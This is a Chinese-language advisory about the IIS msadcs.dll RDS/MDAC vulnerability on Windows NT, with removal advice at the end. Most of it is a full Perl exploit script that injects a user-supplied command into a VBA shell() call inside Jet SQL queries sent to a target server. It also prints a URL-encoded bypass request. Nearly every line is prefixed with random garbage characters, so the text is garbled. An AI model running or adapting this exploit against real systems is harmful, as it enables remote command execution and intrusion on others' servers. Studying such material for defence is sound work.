IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
VVfTFi< {\X$ vaF 涉及程序：
7!;zkou Microsoft NT server
0^)~p{Zh Jl|^^? 描述：
G?!8T91; 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%S^ :5#9 AC!yc(^< 详细：
nI] zRd uC 如果你没有时间读详细内容的话，就删除:
^CD? SP"i c:\Program Files\Common Files\System\Msadc\msadcs.dll
^S 45!mSb 有关的安全问题就没有了。
} ?MbU6"
IFW7MF9V 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
&UO/p/a ru|*xNXKgC 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
h-x~:$Z, 关于利用ODBC远程漏洞的描述，请参看:
x4,[5N"}YK \+&)9 !K http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Pa"Kk9!o36 Yp\Y]pym 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
?1r<`o3l\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp eI%k xqc &q M8 )2Y 这里不再论述。
(M{>9rk8 OGO\u# 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
3QF[@8EH{ [;UI8St w /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
GNSh`Tm =# 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
i~)EU F d^ `; tD W$W w/mcl+ #将下面这段保存为txt文件，然后: "perl -x 文件名"
Fl *<N nWh f #!perl
w O6>jW
7 #
\ 7IT[<Se # MSADC/RDS 'usage' (aka exploit) script
(iIzoEpb8W #
`i+2YCk # by rain.forest.puppy
)`6O SB #
qyh]v [ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
#o,FVYYj # beta test and find errors!
cucT | y \f=kQbM use Socket; use Getopt::Std;
=5:S"WNj getopts("e:vd:h:XR", \%args);
7 4&{GCL -9Ygn_ M print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
aj=-^i GG BkY#wJ' if (!defined $args{h} && !defined $args{R}) {
h i K}& print qq~
P @% L.y
B Usage: msadc.pl -h <host> { -d <delay> -X -v }
4UK>Vzn -h <host> = host you want to scan (ip or domain)
:Ys
;)W+R -d <seconds> = delay between calls, default 1 second
X ":2o|R -X = dump Index Server path table, if available
KTwP.!<v -v = verbose
GkI{7GD:z -e = external dictionary file for step 5
cob??|,\m Vv+ oq5hf Or a -R will resume a command session
=#A/d `2
b `b%^_@Fb ~; exit;}
D *IeG>% K@Xj) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
lkC| g%f if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
|C5{[ z if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Z,"YMUl' if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
F? ps?
e $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
j`K0D65 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ej1WkaR8
B?Rkz if (!defined $args{R}){ $ret = &has_msadc;
:_`Yrx5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
(:h&c6'S)b =W>a ~e]/ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
<fA}_BH%] . "cmd /c ";
e E (+ $in=<STDIN>; chomp $in;
0QxBC7` qp $command="cmd /c " . $in ;
&}K%F)S 8 qZbsZi4 if (defined $args{R}) {&load; exit;}
O@w_"TJP/z PWquu ` print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(+<66
T O &try_btcustmr;
5=}CZYWB (f~}5O< print "\nStep 2: Trying to make our own DSN...";
Sz]1`%_H/ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
#r1y|)m` 7#X`D print "\nStep 3: Trying known DSNs...";
[Z&<# - &known_dsn;
Zq H-]?) t: v>W8N53 print "\nStep 4: Trying known .mdbs...";
2izBB,# " &known_mdb;
4ElS_u^cP7 C~'.3Q 6 if (defined $args{e}){
?^LG>Gg V print "\nStep 5: Trying dictionary of DSN names...";
[fELf(;( &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
V|*3*W s
OLjT34 print "Sorry Charley...maybe next time?\n";
UIU6rilB exit;
06v'!M > %slzr ##############################################################################
}o\} qu* xsN OjHk sub sendraw { # ripped and modded from whisker
jj]| }G sleep($delay); # it's a DoS on the server! At least on mine...
HiD%BL>% my ($pstr)=@_;
zAev@+.ld socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
91DevizXx die("Socket problems\n");
r=p^~tuyxr if(connect(S,pack "SnA4x8",2,80,$target)){
AJ3Byb =. select(S); $|=1;
m Ph=bG print $pstr; my @in=<S>;
" ?FBbJ
select(STDOUT); close(S);
VuN#j<H return @in;
0}|%pm Y` } else { die("Can't connect...\n"); }}
3df5
e0 _c-(T&u< ##############################################################################
I]3!M`IMG 4vkq e6 sub make_header { # make the HTTP request
?s R( my $msadc=<<EOT
W@zu N)U POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!1 A< jL User-Agent: ACTIVEDATA
L"0?g(<
5 Host: $ip
fN:FD` Content-Length: $clen
jM-5aj[K Connection: Keep-Alive
H
]! P[? hW6K sn,* ADCClientVersion:01.06
c ` .BN( Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
77wod}h!: ,DEcCHr, --!ADM!ROX!YOUR!WORLD!
^g"p}zf
L" Content-Type: application/x-varg
Vi0D>4{+ Content-Length: $reqlen
P\QbMj1U %;<g!Vw.k EOT
L|;sB=$'{ ; $msadc=~s/\n/\r\n/g;
JxEz1~WK & return $msadc;}
!DHfw-1K !1UZ< hq ##############################################################################
H^vA}F` 4$U^)\06W sub make_req { # make the RDS request
&5[+p{ 2 my ($switch, $p1, $p2)=@_;
E] S:F3 my $req=""; my $t1, $t2, $query, $dsn;
K$r)^K=s /x_AWnU if ($switch==1){ # this is the btcustmr.mdb query
@2hOy@V $query="Select * from Customers where City=" . make_shell();
Y]5MM:mI $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`)MKCw$e $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
q!~DCv df [$:L| V!{ elsif ($switch==2){ # this is general make table query
#q-fRZ:P $query="create table AZZ (B int, C varchar(10))";
TefPxvd $dsn="$p1";}
)HvB ceN -"^xg" elsif ($switch==3){ # this is general exploit table query
rhly.f7N=A $query="select * from AZZ where C=" . make_shell();
u g;~dhe~ $dsn="$p1";}
{kb7u5- T21?~jS elsif ($switch==4){ # attempt to hork file info from index server
`0MQL@B $query="select path from scope()";
p _3xW{I $dsn="Provider=MSIDXS;";}
zJ:%iL@ x uVc1jJH elsif ($switch==5){ # bad query
]\k&
l
[' $query="select";
<'7s 3 $dsn="$p1";}
x"cB8bZ!$ m`]d`%Ex $t1= make_unicode($query);
o02G:!gB $t2= make_unicode($dsn);
}U4mXkZF $req = "\x02\x00\x03\x00";
i M9^. $req.= "\x08\x00" . pack ("S1", length($t1));
oTcf[< $req.= "\x00\x00" . $t1 ;
EWv[Sp $req.= "\x08\x00" . pack ("S1", length($t2));
;d_<6|*M $req.= "\x00\x00" . $t2 ;
<=w!: $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
! 4 lN [ return $req;}
kg,\l9AM u,N<U t ##############################################################################
_}T )\o Gvvw:]WgF sub make_shell { # this makes the shell() statement
<aI}+ return "'|shell(\"$command\")|'";}
Cb.M */K]sQZa ##############################################################################
og&h$<uOZt LnsYtkb r sub make_unicode { # quick little function to convert to unicode
N.ZuSkRM my ($in)=@_; my $out;
2"% f:?xV{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
/<%L& return $out;}
SZ7; }
r8 K@
&;f( Y ##############################################################################
M-q5Jf m rw 0s$~' sub rdo_success { # checks for RDO return success (this is kludge)
%L
wq. my (@in) = @_; my $base=content_start(@in);
%Y5F@=>& if($in[$base]=~/multipart\/mixed/){
f&RjvVP?s return 1 if( $in[$base+10]=~/^\x09\x00/ );}
^62I 5k/u return 0;}
<U\8&Uv> NA`8 ^PZ ##############################################################################
g-NrxyTBlx |YfJ#Agm+ sub make_dsn { # this makes a DSN for us
?[Ma" l> my @drives=("c","d","e","f");
6:`[ Fi print "\nMaking DSN: ";
acQHqR foreach $drive (@drives) {
IY
mkZ?cW print "$drive: ";
HS\'{4 P my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
bw+IH-b "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
y=[{:
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
>&F:/ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?C return 0 if $2 eq "404"; # not found/doesn't exist
?I"?J/zm if($2 eq "200") {
Mm9* $g!R foreach $line (@results) {
+4rd
N\. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
m|
7v76( } return 0;}
oJ/=&c s B qOcy ##############################################################################
VwK7\j V Ai5+ ;8z+ sub verify_exists {
K\s<<dRa my ($page)=@_;
-dfs8 [i my @results=sendraw("GET $page HTTP/1.0\n\n");
{MDM= ;WP_ return $results[0];}
]#G1
]U 0[N1SY\lj ##############################################################################
LB}J7yEQvj xe3Jxo !U sub try_btcustmr {
! T8sWMY my @drives=("c","d","e","f");
1rLxF{, my @dirs=("winnt","winnt35","winnt351","win","windows");
#YK3Ogb, d 3#e7rQ8 foreach $dir (@dirs) {
{SRD\&J[ print "$dir -> "; # fun status so you can see progress
fE3%$M[V7 foreach $drive (@drives) {
}1lZW"{e[ print "$drive: "; # ditto
yUO%@; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Uty0mc( $reqlenlen=length( "$reqlen" );
t%f>*} *P* $clen= 206 + $reqlenlen + $reqlen;
sb?!U"v.' ,Z ! I ^ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
C',uY7}< if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
pr,1pqiAf else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
AI9922}* TgJ6O,0 ##############################################################################
\$F#bIjC HMmVfGp] sub odbc_error {
y-gXGvZ my (@in)=@_; my $base;
Pj{I} 4P` my $base = content_start(@in);
=U8+1b if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
=ReSlt $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6BEDk!
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HnsLYY\ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,pQ[e$u1 return $in[$base+4].$in[$base+5].$in[$base+6];}
$'<$:;4b3 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
x {Dw?6TP print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
4nh0bI N1 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
soX^$l
A e1b`%To ##############################################################################
^< 2d
YU sub verbose {
E]^n\bE% my ($in)=@_;
LZE9]Gd return if !$verbose;
jJ,y+o print STDOUT "\n$in\n";}
,wv> G]v hPCSAo!| ##############################################################################
#MiO4zXgd C^,J 6;' sub save {
}ov>b2H#< my ($p1, $p2, $p3, $p4)=@_;
y6MkaHW[m open(OUT, ">rds.save") || print "Problem saving parameters...\n";
B+pLW/4l print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Wvl'O'R close OUT;}
=@X?$>' Y@T$O<* ##############################################################################
'0&HkM{ D W2M[w_~QE sub load {
%dhrXK5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
1' dZ?` O open(IN,"<rds.save") || die("Couldn't open rds.save\n");
;sz _W%-;@ @p=<IN>; close(IN);
Xr88I^F; $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:&2% x $target= inet_aton($ip) || die("inet_aton problems");
1Oak8 \G print "Resuming to $ip ...";
-SzCeq(p%5 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
L6ypn)l if($p[1]==1) {
>enP~uW[# $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Kq+vAp). $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
K;TTGK my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
-:b<~S[ if (rdo_success(@results)){print "Success!\n";}
2t=&h|6EW else { print "failed\n"; verbose(odbc_error(@results));}}
2{ g&9 elsif ($p[1]==3){
LVL#qNIu if(run_query("$p[3]")){
:
>$v @d print "Success!\n";} else { print "failed\n"; }}
X 3ZKN; elsif ($p[1]==4){
Ev A8<o if(run_query($drvst . "$p[3]")){
" ;\EU4R print "Success!\n"; } else { print "failed\n"; }}
+hH7|:J Q exit;}
]a :T]x6' A!$sO p ##############################################################################
j1ap,<\.k 90wnwz sub create_table {
Ct3+ga$ my ($in)=@_;
"# Q"gC.K $reqlen=length( make_req(2,$in,"") ) - 28;
ER4#5gd $reqlenlen=length( "$reqlen" );
7EL0!:P p3 $clen= 206 + $reqlenlen + $reqlen;
X'2%'z< my @results=sendraw(make_header() . make_req(2,$in,""));
*2YWvGc return 1 if rdo_success(@results);
CwO$E L:[` my $temp= odbc_error(@results); verbose($temp);
)>;387'Y return 1 if $temp=~/Table 'AZZ' already exists/;
CKU)wJ5t return 0;}
> R\@W(-g` Nvd(Tad ##############################################################################
.Lm`v0' w T+!0`~` sub known_dsn {
s>TC~d82 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
x LK,Je my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
u (`7F(R "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
e.!~ 7c_z? "banner", "banners", "ads", "ADCDemo", "ADCTest");
W,nn,% F5w=tK foreach $dSn (@dsns) {
=[gFaB_H print ".";
D2\Ep L/ next if (!is_access("DSN=$dSn"));
H Ds8 M if(create_table("DSN=$dSn")){
Yg1HvSw\ print "$dSn successful\n";
Z/;8eb*B7 if(run_query("DSN=$dSn")){
QxB H{TG print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
8PG&/ " K print "Something's borked. Use verbose next time\n";}}} print "\n";}
FGpV
]p 1}CJ& ##############################################################################
SNH AL F P>|sCF sub is_access {
L|A1bxt my ($in)=@_;
b 1Ba} $reqlen=length( make_req(5,$in,"") ) - 28;
C"h7'+Kw $reqlenlen=length( "$reqlen" );
@\=4 Rin/q $clen= 206 + $reqlenlen + $reqlen;
>vuR:4B my @results=sendraw(make_header() . make_req(5,$in,""));
g_"B:DR my $temp= odbc_error(@results);
J^pq< verbose($temp); return 1 if ($temp=~/Microsoft Access/);
F}5skD= return 0;}
%V-Hy ;V 3tmS/ tQp ##############################################################################
A5G@u}YS5 )/bv@Am sub run_query {
Ek '% % % my ($in)=@_;
\6/!{D, $reqlen=length( make_req(3,$in,"") ) - 28;
} 9+Vf'u|l $reqlenlen=length( "$reqlen" );
,Fu[o6x<^ $clen= 206 + $reqlenlen + $reqlen;
w4UJXc my @results=sendraw(make_header() . make_req(3,$in,""));
]pVuRj'pP return 1 if rdo_success(@results);
j7VaaA my $temp= odbc_error(@results); verbose($temp);
(T.g""N~` return 0;}
D:N\K/p pEb/ yIT" ##############################################################################
36 ]?4, . z_Pq5 sub known_mdb {
S&'-wA Ed my @drives=("c","d","e","f","g");
LO)QEUG my @dirs=("winnt","winnt35","winnt351","win","windows");
zR}vR9Ls my $dir, $drive, $mdb;
d ?,wEfwp my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<!?ZH"F0 t&G #% # this is sparse, because I don't know of many
!\q'{x5C my @sysmdbs=( "\\catroot\\icatalog.mdb",
Acb %)Y "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
;]%Syrzp "\\system32\\certmdb.mdb",
4uv*F:eo "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
74KR.ABd biH ZyUJ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
BM02k\% "\\cfusion\\cfapps\\forums\\forums_.mdb",
=>xyJ->R "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
d s}E|Q "\\cfusion\\cfapps\\security\\realm_.mdb",
,WS{O6O7 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
l_T5KV "\\cfusion\\database\\cfexamples.mdb",
ban;HGGNG{ "\\cfusion\\database\\cfsnippets.mdb",
R!:F}* "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
vVbS
4_ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
u4:6zU/{ "\\cfusion\\brighttiger\\database\\cleam.mdb",
V:1_k"zQ "\\cfusion\\database\\smpolicy.mdb",
:U'Oc3l#Y "\\cfusion\\database\cypress.mdb",
c+UZ UgP "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
~fz9PoC "\\website\\cgi-win\\dbsample.mdb",
m =MM "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
- QQU>_ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
}\EHZ ); #these are just
^
}|$_ foreach $drive (@drives) {
!7Z?VEZ foreach $dir (@dirs){
stOD5yi foreach $mdb (@sysmdbs) {
:j ;_Xw print ".";
28 ;x5m)N if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
M` |E)Y print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
lZD"7 om if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
FC8#XZp print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
*Di ;Gf@ } else { print "Something's borked. Use verbose next time\n"; }}}}}
B|- W 8?t}S2n 2 foreach $drive (@drives) {
l'"Ici#7Ls foreach $mdb (@mdbs) {
ztV %W6 print ".";
^FK-e;J if(create_table($drv . $drive . $dir . $mdb)){
EA< x$O print "\n" . $drive . $dir . $mdb . " successful\n";
NO.5Vy if(run_query($drv . $drive . $dir . $mdb)){
b!z=: print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
?"T *{8 } else { print "Something's borked. Use verbose next time\n"; }}}}
dijHi }
b O+L#K f u Bo~PiJ2" ##############################################################################
#!]~E@;E 2?c%<_jPA sub hork_idx {
;VPYWss print "\nAttempting to dump Index Server tables...\n";
ljk,R
G print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
>F;yfv; $reqlen=length( make_req(4,"","") ) - 28;
PKt;]T0 $reqlenlen=length( "$reqlen" );
+ HY.m+ T $clen= 206 + $reqlenlen + $reqlen;
5Fa/Q>N my @results=sendraw2(make_header() . make_req(4,"",""));
-W)8Z. if (rdo_success(@results)){
m%i!;K"{s my $max=@results; my $c; my %d;
K%Ng Z(x( for($c=19; $c<$max; $c++){
tQIz $results[$c]=~s/\x00//g;
gPy}.g{tH$ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
!F# ^Peb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
e `IL7$ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
&=v5M9GR] $d{"$1$2"}="";}
pt9fOih[ foreach $c (keys %d){ print "$c\n"; }
=tqChw
} else {print "Index server doesn't seem to be installed.\n"; }}
EZ)GW%Bm2 +(## B pC ##############################################################################
QQX7p!~E DM*u;t{i sub dsn_dict {
a O(&< open(IN, "<$args{e}") || die("Can't open external dictionary\n");
|=s jG f while(<IN>){
b @)nB $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
#e$vv!&} next if (!is_access("DSN=$dSn"));
*uvE`4V^Jg if(create_table("DSN=$dSn")){
]0 myoWpi3 print "$dSn successful\n";
4d
$T6b if(run_query("DSN=$dSn")){
@s~*>k#"# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
v^1n.l %E print "Something's borked. Use verbose next time\n";}}}
4XArpKA print "\n"; close(IN);}
u$y5?n| lgh+\ pj ##############################################################################
3b1%^@,ACy p|'Rm ]&jb sub sendraw2 { # ripped and modded from whisker
pL{ :8Ed sleep($delay); # it's a DoS on the server! At least on mine...
5s1XO*s)>X my ($pstr)=@_;
^%m~V LH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
jo[U6t+pj7 die("Socket problems\n");
?bl9e&/! if(connect(S,pack "SnA4x8",2,80,$target)){
B3V+/o6 print "Connected. Getting data";
-^= JKd &p open(OUT,">raw.out"); my @in;
$3{ I'r] select(S); $|=1; print $pstr;
,IQ%7*f;O_ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
txe mu * close(OUT); select(STDOUT); close(S); return @in;
]Kp -2KW } else { die("Can't connect...\n"); }}
h >&t``< %jj \w> ##############################################################################
H.[t&VO /7yd&6`I sub content_start { # this will take in the server headers
hO4* X my (@in)=@_; my $c;
p"=8{LrO for ($c=1;$c<500;$c++) {
<=PYu:]h if($in[$c] =~/^\x0d\x0a/){
YC d if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
!_j6\r= else { return $c+1; }}}
{A 8w~3F return -1;} # it should never get here actually
% scQP{%aD NIxtT>[+3 ##############################################################################
#%SF 2PB; pDG>9P#mO sub funky {
t[b@P< F my (@in)=@_; my $error=odbc_error(@in);
{DbWk>[DkG if($error=~/ADO could not find the specified provider/){
-owap -Va print "\nServer returned an ADO miscofiguration message\nAborting.\n";
p$@l,4@{ exit;}
"0Yb
2> F if($error=~/A Handler is required/){
z%Ivc*x5 print "\nServer has custom handler filters (they most likely are patched)\n";
UViWejA/*u exit;}
Ln&CB!u if($error=~/specified Handler has denied Access/){
#F6!x3 Z print "\nServer has custom handler filters (they most likely are patched)\n";
6gJc ?+ exit;}}
gL6.,4q+1 rJ fO/WK ##############################################################################
(j884bu Qe1WT T]:I sub has_msadc {
s f<NC>- my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0;x<0P my $base=content_start(@results);
EMMp4KKOx+ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
CGJ>j}C return 0;}
Tlz~o[`& r>x>aJ ########################
be:=-B7! 1 a gI/R t Ai?B jo 解决方案：
SoL"M[O 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
{xJ<)^fD8 2、移除web 目录: /msadc
